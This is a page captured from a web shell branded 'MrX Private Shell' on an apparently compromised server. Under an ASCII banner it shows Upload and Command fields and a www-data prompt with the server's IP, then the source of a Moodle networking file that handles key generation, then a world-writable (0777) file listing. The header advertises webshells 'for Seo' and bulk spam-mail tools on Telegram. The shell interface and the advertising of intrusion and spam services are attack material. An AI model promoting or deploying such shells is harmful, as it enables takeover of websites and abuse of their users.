__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
/**
 * Info about the local environment, wrt RPC
 *
 * This should really be a singleton. A PHP5 Todo I guess.
 */

class mnet_environment {

    var $id                 = 0;
    var $wwwroot            = '';
    var $ip_address         = '';
    var $public_key         = '';
    var $public_key_expires = 0;
    var $last_connect_time  = 0;
    var $last_log_id        = 0;
    var $keypair            = array();
    var $deleted            = 0;

    /** @var string mnet host name. */
    public $name;

    /** @var int mnet host transport. */
    public $transport;

    /** @var int mnet host port number. */
    public $portno;

    /** @var int mnet host force theme. */
    public $force_theme;

    /** @var string mnet host theme. */
    public $theme;

    /** @var int mnet host application ID. */
    public $applicationid;

    /** @var int mnet host SSL verification. */
    public $sslverification;

    function init() {
        global $CFG, $DB;

        // Bootstrap the object data on first load.
        if (!$hostobject = $DB->get_record('mnet_host', array('id'=>$CFG->mnet_localhost_id))) {
            return false;
        }
        $temparr = get_object_vars($hostobject);
        foreach($temparr as $key => $value) {
            $this->$key = $value;
        }
        unset($hostobject, $temparr);

        // Unless this is an install/upgrade, generate the SSL keys.
        if (empty($this->public_key)) {
            $this->get_keypair();
        }

        // We need to set up a record that represents 'all hosts'. Any rights
        // granted to this host will be conferred on all hosts.
        if (empty($CFG->mnet_all_hosts_id) ) {
            $hostobject                     = new stdClass();
            $hostobject->wwwroot            = '';
            $hostobject->ip_address         = '';
            $hostobject->public_key         = '';
            $hostobject->public_key_expires = 0;
            $hostobject->last_connect_time  = 0;
            $hostobject->last_log_id        = 0;
            $hostobject->deleted            = 0;
            $hostobject->name               = 'All Hosts';

            $hostobject->id = $DB->insert_record('mnet_host',$hostobject);
            set_config('mnet_all_hosts_id', $hostobject->id);
            $CFG->mnet_all_hosts_id = $hostobject->id;
            unset($hostobject);
        }
    }

    function get_keypair() {
        global $DB, $CFG;

        // We don't generate keys on install/upgrade because we want the USER
        // record to have an email address, city and country already.
        if (during_initial_install()) return true;
        if ($CFG->mnet_dispatcher_mode == 'off') return true;
        if (!extension_loaded("openssl")) return true;
        if (!empty($this->keypair)) return true;

        $this->keypair = array();
        $keypair = get_config('mnet', 'openssl');

        if (!empty($keypair)) {
            // Explode/Implode is faster than Unserialize/Serialize
            list($this->keypair['certificate'], $this->keypair['keypair_PEM']) = explode('@@@@@@@@', $keypair);
        }

        if ($this->public_key_expires <= time()) {
            // Key generation/rotation

            // 1. Archive the current key (if there is one).
            $result = get_config('mnet', 'openssl_history');
            if(empty($result)) {
                set_config('openssl_history', serialize(array()), 'mnet');
                $openssl_history = array();
            } else {
                $openssl_history = unserialize($result);
            }

            if(count($this->keypair)) {
                $this->keypair['expires'] = $this->public_key_expires;
                array_unshift($openssl_history, $this->keypair);
            }

            // 2. How many old keys do we want to keep? Use array_slice to get
            // rid of any we don't want
            $openssl_generations = get_config('mnet', 'openssl_generations');
            if(empty($openssl_generations)) {
                set_config('openssl_generations', 3, 'mnet');
                $openssl_generations = 3;
            }

            if(count($openssl_history) > $openssl_generations) {
                $openssl_history = array_slice($openssl_history, 0, $openssl_generations);
            }

            set_config('openssl_history', serialize($openssl_history), 'mnet');

            // 3. Generate fresh keys
            $this->replace_keys();
        }
        return true;
    }

    function replace_keys() {
        global $DB, $CFG;

        $keypair = mnet_generate_keypair();
        if (empty($keypair)) {
            error_log('Can not generate keypair, sorry');
            return;
        }

        $this->keypair = array();
        $this->keypair            = $keypair;
        $this->public_key         = $this->keypair['certificate'];
        $details                  = openssl_x509_parse($this->public_key);
        $this->public_key_expires = $details['validTo_time_t'];

        $this->wwwroot            = $CFG->wwwroot;
        if (empty($_SERVER['SERVER_ADDR'])) {
            // SERVER_ADDR is only returned by Apache-like webservers
            $my_hostname = mnet_get_hostname_from_uri($CFG->wwwroot);
            $my_ip       = gethostbyname($my_hostname);  // Returns unmodified hostname on failure. DOH!
            if ($my_ip == $my_hostname) {
                $this->ip_address = 'UNKNOWN';
            } else {
                $this->ip_address = $my_ip;
            }
        } else {
            $this->ip_address = $_SERVER['SERVER_ADDR'];
        }

        set_config('openssl', implode('@@@@@@@@', $this->keypair), 'mnet');

        $DB->update_record('mnet_host', $this);
        error_log('New public key has been generated. It expires ' . date('Y/m/d h:i:s', $this->public_key_expires));
    }

    function get_private_key() {
        if (empty($this->keypair)) $this->get_keypair();
        return openssl_pkey_get_private($this->keypair['keypair_PEM']);
    }

    function get_public_key() {
        if (!isset($this->keypair)) $this->get_keypair();
        return openssl_pkey_get_public($this->keypair['certificate']);
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
service Folder 0777
tests Folder 0777
xmlrpc Folder 0777
environment.php File 6.04 KB 0777
lib.php File 34.3 KB 0777
peer.php File 11.33 KB 0777
publickey.php File 517 B 0777
remote_client.php File 3.05 KB 0777
Filemanager